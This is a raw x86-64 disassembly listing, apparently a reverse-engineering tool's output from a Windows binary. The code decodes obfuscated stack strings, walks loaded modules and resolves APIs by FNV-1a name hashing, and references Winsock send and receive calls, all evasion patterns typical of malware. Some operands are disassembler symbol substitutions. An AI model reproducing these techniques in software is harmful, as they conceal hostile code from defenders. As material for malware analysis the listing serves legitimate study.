mov edx, 0x17
mov ecx, 0x2b
sub cl, al
movzx eax, r15b
and al, 0x2f
add r14b, cl
mov ecx, 0x16
mov byte [rbp + 0x11], r14b
sub cl, al
movzx eax, r12b
and al, 0x30
add cl, cl
add al, al
add r15b, cl
mov ecx, 0x2d
mov byte [rbp + 0x12], r15b
sub cl, al
movzx eax, r13b
and al, 0x31
add r12b, cl
sub dl, al
mov byte [rbp + 0x13], r12b
add dl, dl
lea ecx, [rdx + r13]
mov edx, 0x2f
mov byte [rbp + 0x14], cl
movzx ecx, byte [rbp + 0x15]
movzx eax, cl
and al, 0x32
add al, al
sub dl, al
add cl, dl
mov edx, 0x18
mov byte [rbp + 0x15], cl
movzx ecx, byte [rbp + 0x16]
movzx eax, cl
and al, 0x33
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x31
mov byte [rbp + 0x16], cl
movzx ecx, byte [rbp + 0x17]
movzx eax, cl
and al, 0x34
add al, al
sub dl, al
add cl, dl
mov edx, 0x19
mov byte [rbp + 0x17], cl
movzx ecx, byte [rbp + 0x18]
movzx eax, cl
and al, 0x35
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x33
mov byte [rbp + 0x18], cl
movzx ecx, byte [rbp + 0x19]
movzx eax, cl
and al, 0x36
add al, al
sub dl, al
add cl, dl
mov edx, 0x1a
mov byte [rbp + 0x19], cl
movzx ecx, byte [rbp + 0x1a]
movzx eax, cl
and al, 0x37
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x35
mov byte [rbp + 0x1a], cl
movzx ecx, byte [rbp + 0x1b]
movzx eax, cl
and al, 0x38
add al, al
sub dl, al
add cl, dl
mov byte [rbp + 0x1b], cl
movzx eax, r13b
and al, 0x39
mov dword [rbp - 0x70], 0xd5d6daf3
mov edx, 0x1b
mov dword [rbp - 0x6c], 0xcd1cc9cb
sub dl, al
mov dword [rbp - 0x68], 0x3ae02fc9
add dl, dl
mov dword [rbp - 0x64], 0x20282e2a
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0xe0b0ee6
mov dword [rbp - 0x5c], 0xef3926ea
mov dword [rbp - 0x58], 0x3d3e263c
lea ecx, [rdx + r13]
mov dword [rbp - 0x54], 0xf43d3b39
mov byte [rbp + 0x1c], cl
mov edx, 0x37
movzx ecx, byte [rbp + 0x1d]
movzx eax, cl
mov byte [rbp - 0x50], 0xd6
and al, 0x3a
add al, al
sub dl, al
add cl, dl
mov edx, 0x1c
mov byte [rbp + 0x1d], cl
movzx ecx, byte [rbp + 0x1e]
movzx eax, cl
and al, 0x3b
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x39
mov byte [rbp + 0x1e], cl
movzx ecx, byte [rbp + 0x1f]
movzx eax, cl
and al, 0x3c
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0x3d
mov byte [rbp + 0x1f], cl
mov edx, 0x3b
mov ecx, 0x1d
sub cl, al
add cl, cl
add r13b, cl
movzx ecx, byte [rbp + 0x21]
movzx eax, cl
mov byte [rbp + 0x20], r13b
and al, 0x3e
add al, al
sub dl, al
xor eax, eax
add cl, dl
mov qword [rbp - 0x3f], rax
mov byte [rbp + 0x21], cl
xor r8d, r8d
movups xmmword [rbp - 0x4f], xmm0
mov dword [rbp - 0x37], eax
mov word [rbp - 0x33], ax
mov byte [rbp - 0x31], al
nop
movzx edx, byte [rbp + r8 - 0x70]
lea ecx, [r8 + 0x77]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x78]
mov byte [rbp + r8 - 0x70], dl
movzx edx, byte [rbp + r8 - 0x6f]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x79]
mov byte [rbp + r8 - 0x6f], dl
movzx edx, byte [rbp + r8 - 0x6e]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7a]
mov byte [rbp + r8 - 0x6e], dl
movzx edx, byte [rbp + r8 - 0x6d]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7b]
mov byte [rbp + r8 - 0x6d], dl
movzx edx, byte [rbp + r8 - 0x6c]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7c]
mov byte [rbp + r8 - 0x6c], dl
movzx edx, byte [rbp + r8 - 0x6b]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7d]
mov byte [rbp + r8 - 0x6b], dl
movzx edx, byte [rbp + r8 - 0x6a]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7e]
mov byte [rbp + r8 - 0x6a], dl
movzx edx, byte [rbp + r8 - 0x69]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
lea ecx, [r8 + 0x7f]
mov byte [rbp + r8 - 0x69], dl
movzx edx, byte [rbp + r8 - 0x68]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
mov byte [rbp + r8 - 0x68], dl
movzx ecx, byte [rbp + r8 - 0x67]
lea edx, [r8 + 0x80]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x66]
mov byte [rbp + r8 - 0x67], dl
lea edx, [r8 - 0x7f]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x65]
mov byte [rbp + r8 - 0x66], dl
lea edx, [r8 - 0x7e]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x64]
mov byte [rbp + r8 - 0x65], dl
lea edx, [r8 - 0x7d]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x63]
mov byte [rbp + r8 - 0x64], dl
lea edx, [r8 - 0x7c]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x62]
mov byte [rbp + r8 - 0x63], dl
lea edx, [r8 - 0x7b]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x61]
mov byte [rbp + r8 - 0x62], dl
lea edx, [r8 - 0x7a]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x60]
mov byte [rbp + r8 - 0x61], dl
lea edx, [r8 - 0x79]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x5f]
mov byte [rbp + r8 - 0x60], dl
lea edx, [r8 - 0x78]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
mov byte [rbp + r8 - 0x5f], dl
movzx ecx, byte [rbp + r8 - 0x5e]
lea edx, [r8 - 0x77]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x5d]
mov byte [rbp + r8 - 0x5e], dl
lea edx, [r8 - 0x76]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x5c]
mov byte [rbp + r8 - 0x5d], dl
lea edx, [r8 - 0x75]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x5b]
mov byte [rbp + r8 - 0x5c], dl
lea edx, [r8 - 0x74]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x5a]
mov byte [rbp + r8 - 0x5b], dl
lea edx, [r8 - 0x73]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x59]
mov byte [rbp + r8 - 0x5a], dl
lea edx, [r8 - 0x72]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x58]
mov byte [rbp + r8 - 0x59], dl
lea edx, [r8 - 0x71]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x57]
mov byte [rbp + r8 - 0x58], dl
lea edx, [r8 - 0x70]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x56]
mov byte [rbp + r8 - 0x57], dl
lea edx, [r8 - 0x6f]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
mov byte [rbp + r8 - 0x56], dl
movzx ecx, byte [rbp + r8 - 0x55]
lea edx, [r8 - 0x6e]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x54]
mov byte [rbp + r8 - 0x55], dl
lea edx, [r8 - 0x6d]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x53]
mov byte [rbp + r8 - 0x54], dl
lea edx, [r8 - 0x6c]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x52]
mov byte [rbp + r8 - 0x53], dl
lea edx, [r8 - 0x6b]
movzx eax, dl
and al, cl
sub cl, 0x41
add al, al
sub dl, al
add dl, cl
movzx ecx, byte [rbp + r8 - 0x51]
mov byte [rbp + r8 - 0x52], dl
lea edx, [r8 - 0x6a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x41
add dl, cl
mov byte [rbp + r8 - 0x51], dl
add r8, 0x20
cmp r8, 0x40
jb 0x140007540
lea r8, [rbp + 8]
lea rdx, [rbp - 0x70]
jmp 0x140008547
mov rax, qword gs:[0x60]
mov r14d, edi
mov esi, 0xb67c51d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140007b17
cmp word [rax + 0x48], 0
je 0x140007b17
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rbp + 8], xmm0
sub cx, 8
test r14d, r14d
je 0x1400079a3
mov r9, qword [rbp + 0x10]
mov r10d, 0x49cdad77
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000799a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x140007970
cmp r10d, r14d
jne 0x140007b17
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
mov edi, edx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x140007b17
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140007b17
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec ebx
lea rcx, [rcx + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov r13d, dword [rcx + r11]
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r13, r11
add r9, r11
cmp r13, rdi
jbe 0x140007a14
lea rcx, [rdi + r12]
cmp r13, rcx
jae 0x140007a14
mov r15b, 1
jmp 0x140007a17
xor r15b, r15b
movzx r8d, byte [r9]
mov r10d, 0x49cdad77
inc r9
test r8b, r8b
je 0x140007a5c
nop dword [rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140007a30
cmp r10d, esi
je 0x140007a7c
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
test ebx, ebx
jne 0x1400079e0
mov rax, qword [rax]
jmp 0x140007920
test r15b, r15b
je 0x140007b1f
movzx edx, byte [r13]
mov esi, 0x49cdad77
mov r14d, esi
cmp dl, 0x2e
je 0x140007ac8
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13 + 1]
cmova ecx, eax
inc r13
xor ecx, r14d
imul r14d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x140007aa0
movzx edx, byte [r13 + 1]
inc r13
test dl, dl
je 0x140007b06
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
lea r13, [r13 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test dl, dl
jne 0x140007ae0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140007920
mov cl, 8
mov dl, 0xe
movzx eax, cl
mov r8b, 0x35
and al, 0xec
mov r9b, 0x34
sub byte [rbp - 0x30], al
mov r10b, 0x29
mov eax, dword [rbp - 0x30]
mov r11b, 0x17
add al, al
mov bl, 0x53
add cl, al
mov dil, sendto
mov byte [rbp - 0x18], cl
movzx eax, dl
and al, 0xed
mov ecx, 0x79
add al, al
mov sil, 0x1c
sub cl, al
xor r12d, r12d
add dl, cl
mov word [rbp + 3], r12w
movzx eax, r8b
mov byte [rbp - 0x17], dl
and al, 0xee
mov ecx, 0x3d
sub cl, al
mov r14b, 0x19
add cl, cl
movzx eax, r9b
and al, 0xef
add r8b, cl
add al, al
mov byte [rbp - 0x16], r8b
mov ecx, 0x7b
xorps xmm0, xmm0
sub cl, al
mov r15b, 0x82
add r9b, cl
movzx eax, r10b
and al, 0xf0
mov byte [rbp - 0x15], r9b
mov ecx, 0x3e
sub cl, al
movzx eax, r11b
and al, 0xf1
add cl, cl
add al, al
add r10b, cl
mov ecx, 0x7d
mov byte [rbp - 0x14], r10b
sub cl, al
movzx eax, bl
and al, 0xf2
add r11b, cl
mov ecx, 0x3f
mov byte [rbp - 0x13], r11b
sub cl, al
movzx eax, dil
and al, 0xf3
add cl, cl
add al, al
add bl, cl
mov ecx, 0x7f
mov byte [rbp - 0x12], bl
sub cl, al
movzx eax, sil
and al, 0xf4
add dil, cl
add al, al
mov byte [rbp - 0x11], dil
mov ecx, 0x80
sub cl, al
movzx eax, r14b
add sil, cl
and al, 0xf5
add al, al
mov byte [rbp - 0x10], sil
movups xmmword [rbp - 0xd], xmm0
mov ecx, 0x81
mov edx, 0x83
sub cl, al
movzx eax, r15b
and al, 0xf6
add r14b, cl
add al, al
mov byte [rbp - 0xf], r14b
mov ecx, 0x82
sub cl, al
add r15b, cl
movd ecx, xmm0
mov byte [rbp - 0xe], r15b
movzx eax, cl
and al, 0xf7
add al, al
sub dl, al
add cl, dl
mov edx, 0x84
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
movzx eax, cl
and al, 0xf8
add al, al
sub dl, al
add cl, dl
mov edx, 0x85
mov byte [rbp - 0xc], cl
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 0xf9
add al, al
sub dl, al
add cl, dl
mov edx, 0x86
mov byte [rbp - 0xb], cl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 0xfa
add al, al
sub dl, al
add cl, dl
mov edx, 0x87
mov byte [rbp - 0xa], cl
movzx ecx, byte [rbp - 9]
movzx eax, cl
and al, 0xfb
add al, al
sub dl, al
add cl, dl
mov edx, 0x88
mov byte [rbp - 9], cl
movzx ecx, byte [rbp - 8]
movzx eax, cl
and al, 0xfc
add al, al
sub dl, al
add cl, dl
mov edx, 0x89
mov byte [rbp - 8], cl
movzx ecx, byte [rbp - 7]
movzx eax, cl
and al, 0xfd
add al, al
sub dl, al
add cl, dl
mov edx, 0x8a
mov byte [rbp - 7], cl
movzx ecx, byte [rbp - 6]
movzx eax, cl
and al, 0xfe
add al, al
sub dl, al
mov eax, 0x8b
sub al, byte [rbp - 5]
add cl, dl
add byte [rbp - 4], 0x8c
mov byte [rbp - 6], cl
movzx ecx, byte [rbp - 3]
mov byte [rbp - 5], al
movzx eax, cl
and al, 1
lea r8, [rbp - 0x18]
add al, al
mov edx, 0x8d
sub dl, al
add cl, dl
mov edx, 0x8e
mov byte [rbp - 3], cl
movzx ecx, byte [rbp - 2]
movzx eax, cl
and al, 2
add al, al
sub dl, al
add cl, dl
mov edx, 0x8f
mov byte [rbp - 2], cl
movzx ecx, byte [rbp - 1]
movzx eax, cl
and al, 3
add al, al
sub dl, al
add cl, dl
mov edx, 0x90
mov byte [rbp - 1], cl
movzx ecx, byte [rbp]
movzx eax, cl
and al, 4
add al, al
sub dl, al
add cl, dl
mov edx, 0x91
mov byte [rbp], cl
movzx ecx, byte [rbp + 1]
movzx eax, cl
and al, 5
add al, al
sub dl, al
add cl, dl
mov edx, 0x92
mov byte [rbp + 1], cl
movzx ecx, byte [rbp + 2]
movzx eax, cl
and al, 6
add al, al
sub dl, al
movzx eax, r12b
add cl, dl
and al, 7
add al, al
mov byte [rbp + 2], cl
mov edx, 0x93
sub dl, al
lea ecx, [rdx + r12]
mov edx, 0x94
mov byte [rbp + 3], cl
movzx ecx, byte [rbp + 4]
movzx eax, cl
and al, 8
add al, al
sub dl, al
movzx eax, r12b
add cl, dl
and al, 9
mov byte [rbp + 4], cl
add al, al
mov ecx, 0x95
xor edx, edx
sub cl, al
add r12b, cl
mov ecx, 0x1f0001
mov byte [rbp + 5], r12b
call r13
test rax, rax
jne 0x140008553
mov rax, qword gs:[0x60]
mov esi, 0xc754e027
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000800e
cmp word [rax + 0x48], 0
je 0x14000800e
movups xmm0, xmmword [rax + 0x58]
mov r9, qword [rbp - 0x28]
movd ecx, xmm0
movups xmmword [rbp + 8], xmm0
sub cx, 8
test r9d, r9d
je 0x140007e83
mov r10, qword [rbp + 0x10]
mov ebx, 0x9feb1d5
movzx ecx, cx
shr rcx, 1
lea rdi, [r10 + rcx*2]
cmp r10, rdi
je 0x140007e7a
nop dword [rax]
movsx ecx, byte [r10]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r10, 2
xor r8d, ebx
imul ebx, r8d, 0x1000193
cmp r10, rdi
jne 0x140007e50
cmp ebx, r9d
jne 0x14000800e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r15, rdx
mov edi, edx
shr r15, 0x20
add rdi, r11
cmp rdi, r11
je 0x14000800e
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14000800e
mov r12d, dword [rdi + 0x24]
mov r13d, dword [rdi + 0x1c]
mov r9d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r12 + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [rdx*4]
add rcx, r13
mov edx, dword [rcx + r11]
lea rcx, [r9 + rbx*4]
mov r9d, dword [rcx + r11]
add rdx, r11
add r9, r11
mov qword [rsp + 0x50], rdx
cmp rdx, rdi
jbe 0x140007f00
lea rcx, [r15 + rdi]
cmp rdx, rcx
jae 0x140007f00
mov r14b, 1
jmp 0x140007f03
xor r14b, r14b
movzx r8d, byte [r9]
mov r10d, 0x9feb1d5
inc r9
test r8b, r8b
je 0x140007f51
nop word [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140007f20
mov rdx, qword [rsp + 0x50]
cmp r10d, esi
je 0x140007f6a
mov r9d, dword [rdi + 0x20]
test ebx, ebx
jne 0x140007ec0
mov rax, qword [rax]
jmp 0x140007e00
test r14b, r14b
je 0x140008016
movzx r8d, byte [rdx]
mov esi, 0x9feb1d5
mov r9d, esi
cmp r8b, 0x2e
je 0x140007fbc
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx + 1]
cmova ecx, eax
inc rdx
xor ecx, r9d
imul r9d, ecx, 0x1000193
cmp r8b, 0x2e
jne 0x140007f90
movzx r8d, byte [rdx + 1]
inc rdx
test r8b, r8b
je 0x140007ff9
nop dword [rax]
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test r8b, r8b
jne 0x140007fd0
mov rax, qword gs:[0x60]
mov dword [rbp - 0x28], r9d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140007e00
mov dl, 0x7c
mov eax, 0xb4
movzx ecx, dl
mov r8b, 0x7e
and cl, 0x62
mov r9b, 0x71
add cl, cl
mov r10b, 0x70
sub al, cl
mov r11b, 0x75
add dl, al
movzx ecx, r8b
and cl, 0x63
mov byte [rsp + 0x78], dl
add cl, cl
mov bl, 0x47
mov dil, 0xb3
mov eax, 0xb5
sub al, cl
mov sil, 0x72
add r8b, al
mov ecx, 0xb6
movzx eax, r9b
mov byte [rsp + 0x79], r8b
and al, 0x64
mov r14b, 0x48
add al, al
xor r13d, r13d
sub cl, al
mov dword [rbp - 0x7d], r13d
add r9b, cl
movzx eax, r10b
and al, 0x65
mov byte [rsp + 0x7a], r9b
add al, al
mov ecx, 0xb7
sub cl, al
mov r15b, 0x4d
add r10b, cl
movzx eax, r11b
and al, 0x66
mov byte [rsp + 0x7b], r10b
add al, al
mov ecx, 0xb8
sub cl, al
mov r12b, 0xc2
add r11b, cl
movzx eax, bl
and al, 0x67
mov byte [rsp + 0x7c], r11b
add al, al
mov ecx, 0xb9
sub cl, al
movzx eax, dil
and al, 0x68
add bl, cl
add al, al
mov byte [rsp + 0x7d], bl
mov ecx, 0xba
sub cl, al
movzx eax, sil
and al, 0x69
add dil, cl
add al, al
mov byte [rsp + 0x7e], dil
mov ecx, 0xbb
sub cl, al
movzx eax, r14b
and al, 0x6a
add sil, cl
add al, al
mov byte [rsp + 0x7f], sil
mov ecx, 0xbc
sub cl, al
movzx eax, r15b
add r14b, cl
and al, 0x6b
add al, al
mov byte [rbp - 0x80], r14b
mov ecx, 0xbd
sub cl, al
add r15b, cl
lea r8, [rsp + 0x78]
mov edx, 0xbf
mov byte [rbp - 0x7f], r15b
movzx eax, r12b
mov ecx, 0xbe
and al, 0x6c
add al, al
sub cl, al
movzx eax, r13b
and al, 0x6d
add r12b, cl
add al, al
mov byte [rbp - 0x7e], r12b
sub dl, al
lea ecx, [rdx + r13]
mov edx, 0xc0
mov byte [rbp - 0x7d], cl
movzx ecx, byte [rbp - 0x7c]
movzx eax, cl
and al, 0x6e
add al, al
sub dl, al
add cl, dl
mov edx, 0xc1
mov byte [rbp - 0x7c], cl
movzx ecx, byte [rbp - 0x7b]
movzx eax, cl
and al, 0x6f
add al, al
sub dl, al
add cl, dl
mov edx, 0xc2
mov byte [rbp - 0x7b], cl
movzx ecx, byte [rbp - 0x7a]
movzx eax, cl
and al, 0x70
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0x71
mov byte [rbp - 0x7a], cl
add al, al
mov ecx, 0xc3
xor edx, edx
sub cl, al
add r13b, cl
xor ecx, ecx
mov byte [rbp - 0x79], r13b
call qword [rsp + 0x50]
mov rax, qword gs:[0x58]
mov ebx, 4
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401c1e88], eax
jle 0x1400081f8
lea rcx, [0x1401c1e88]
call fcn.1400bf6c0
cmp dword [0x1401c1e88], 0xffffffff
jne 0x1400081f8
lea rcx, [0x1400ebfd0]
call fcn.1400bfa44
lea rcx, [0x1401c1e88]
call fcn.1400bf660
mov rax, qword [0x140121e20]
lea rcx, [0x140121e20]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401c1e88], eax
jle 0x140008240
lea rcx, [0x1401c1e88]
call fcn.1400bf6c0
cmp dword [0x1401c1e88], 0xffffffff
jne 0x140008240
lea rcx, [0x1400ebfd0]
call fcn.1400bfa44
lea rcx, [0x1401c1e88]
call fcn.1400bf660
mov rax, qword [0x140121e20]
lea rcx, [0x140121e20]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401c1e88], eax
jle 0x140008288
lea rcx, [0x1401c1e88]
call fcn.1400bf6c0
cmp dword [0x1401c1e88], 0xffffffff
jne 0x140008288
lea rcx, [0x1400ebfd0]
call fcn.1400bfa44
lea rcx, [0x1401c1e88]
call fcn.1400bf660
mov rax, qword [0x140121e20]
lea rcx, [0x140121e20]
call qword [rax + 0x20]
jmp 0x140008553
mov cl, 0x4c
mov dl, 0x42
movzx eax, cl
movzx r9d, cl
and al, 0xa5
mov r8b, 0x50
sub byte [rsp + 0x70], al
mov r10b, 0x46
mov eax, dword [rsp + 0x70]
xor r13d, r13d
add al, al
mov qword [rbp - 0x7c], r13
add cl, al
mov word [rbp - 0x74], r13w
mov byte [rsp + 0x78], cl
movzx eax, dl
and al, 0xa6
mov ecx, 0x23
add al, al
mov r11b, 9
sub cl, al
mov bl, 0x43
add dl, cl
movzx eax, r8b
and al, 0xa7
mov byte [rsp + 0x79], dl
mov ecx, sendto
mov dil, 0x59
sub cl, al
mov sil, 0x58
add cl, cl
movzx eax, r9b
add r8b, cl
and al, 0xa8
add al, al
mov byte [rsp + 0x7a], r8b
mov ecx, 0x25
mov r14b, 0x5c
sub cl, al
mov r15b, 0x5a
add r9b, cl
movzx eax, r10b
and al, 0xa9
mov byte [rsp + 0x7b], r9b
mov ecx, reloc.WS2_32.dll_send
mov r12b, 0x33
sub cl, al
movzx eax, r11b
add cl, cl
and al, 0xaa
add r10b, cl
add al, al
mov ecx, 0x27
mov byte [rsp + 0x7c], r10b
sub cl, al
movzx eax, bl
add r11b, cl
and al, 0xab
mov ecx, reloc.WS2_32.dll_sendto
mov byte [rsp + 0x7d], r11b
sub cl, al
movzx eax, dil
add cl, cl
and al, 0xac
add bl, cl
add al, al
mov ecx, 0x29
mov byte [rsp + 0x7e], bl
sub cl, al
movzx eax, sil
add dil, cl
and al, 0xad
mov ecx, reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x7f], dil
sub cl, al
movzx eax, r14b
add cl, cl
and al, 0xae
add sil, cl
mov byte [rbp - 0x80], sil
add al, al
mov edx, 0x17
mov ecx, 0x2b
sub cl, al
movzx eax, r15b
and al, 0xaf
add r14b, cl
mov ecx, 0x16
mov byte [rbp - 0x7f], r14b
sub cl, al
movzx eax, r12b
and al, 0xb0
add cl, cl
add al, al
add r15b, cl
mov ecx, 0x2d
mov byte [rbp - 0x7e], r15b
sub cl, al
movzx eax, r13b
and al, 0xb1
add r12b, cl
sub dl, al
mov byte [rbp - 0x7d], r12b
add dl, dl
lea ecx, [rdx + r13]
mov edx, 0x2f
mov byte [rbp - 0x7c], cl
movzx ecx, byte [rbp - 0x7b]
movzx eax, cl
and al, 0xb2
add al, al
sub dl, al
add cl, dl
mov edx, 0x18
mov byte [rbp - 0x7b], cl
movzx ecx, byte [rbp - 0x7a]
movzx eax, cl
and al, 0xb3
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x31
mov byte [rbp - 0x7a], cl
movzx ecx, byte [rbp - 0x79]
movzx eax, cl
and al, 0xb4
add al, al
sub dl, al
add cl, dl
mov edx, 0x19
mov byte [rbp - 0x79], cl
movzx ecx, byte [rbp - 0x78]
movzx eax, cl
and al, 0xb5
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x33
mov byte [rbp - 0x78], cl
movzx ecx, byte [rbp - 0x77]
movzx eax, cl
and al, 0xb6
add al, al
sub dl, al
add cl, dl
mov edx, 0x1a
mov byte [rbp - 0x77], cl
movzx ecx, byte [rbp - 0x76]
movzx eax, cl
and al, 0xb7
sub dl, al
add dl, dl
add cl, dl
mov edx, 0x35
mov byte [rbp - 0x76], cl
movzx ecx, byte [rbp - 0x75]
movzx eax, cl
and al, 0xb8
add al, al
sub dl, al
add cl, dl
mov byte [rbp - 0x75], cl
movzx eax, r13b
mov dword [rbp - 0x70], 0x1f1b0c16
and al, 0xb9
mov dword [rbp - 0x6c], 0x13460505
mov edx, 0x1b
mov dword [rbp - 0x68], 0xd014517
sub dl, al
mov dword [rbp - 0x64], 0x5f0a0b19
add dl, dl
mov dword [rbp - 0x60], 0x390b0b0c
mov dword [rbp - 0x5c], 0xc130d09
mov dword [rbp - 0x58], 0x8b6b0211
lea ecx, [rdx + r13]
mov edx, 0x37
mov byte [rbp - 0x74], cl
movzx ecx, byte [rbp - 0x73]
movzx eax, cl
and al, 0xba
add al, al
sub dl, al
movzx eax, r13b
add cl, dl
and al, 0xbb
